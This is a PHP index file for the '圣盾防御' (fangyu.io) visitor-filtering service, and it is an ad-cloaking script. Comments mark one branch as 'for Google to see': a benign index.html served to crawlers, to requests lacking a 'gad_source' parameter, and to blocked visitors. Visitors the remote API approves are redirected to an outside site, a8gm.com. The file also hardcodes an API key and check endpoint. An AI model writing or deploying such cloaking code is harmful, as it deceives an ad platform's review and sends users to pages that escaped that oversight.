<?php

/***********************************************************************
 * 圣盾防御索引主文件
 * index.php
 *
 * @website https://www.fangyu.io
 * @author  圣盾防御 <sdfangyu@gmail.com>
 * @update  2025-04-16 22:51
 ***********************************************************************/

//接口请求密钥（此账号下唯一不变的值；位置：用户后台 -> 我的账号 -> 账号设置 -> 密钥）
const FANGYU_API_KEY = 'V1z15fxQD7BAFf6hXjXXD';

//接口请求地址（每个网站规则都要修改；位置：用户后台 -> 我的网站 -> 某个网站 -> 复制唯一编号）
const FANGYU_API_URL = 'https://api-visitor.fangyu.io/check/1544/skejQAmwBCxqdxutCG';

//引用核心文件 
require __DIR__ . '/core.php';

// 给google看
$gad_source = isset($_GET['gad_source']) ? false : true;
if ($gad_source){
    require 'index.html';
    exit;
}

//请求网络接口
$result = fangyuApiRequestExecutor();

//接口返回码（请求异常：-1；被拦截：0；被允许：1；）
$resultCode = $result['code'] ?? -1;

//***********************************************//
// 访客被允许（三选一）（给用户看）
//***********************************************//
if ($resultCode == 1) {
    header("Location: https://www.a8gm.com/?ch=Oeez");
    //require 'hgmax.html';
    exit;
}

//**********************************************//
// 被拦截 和 请求异常 等（四选一） 给google看
//**********************************************//
else {
    require 'index.html';
    exit;
}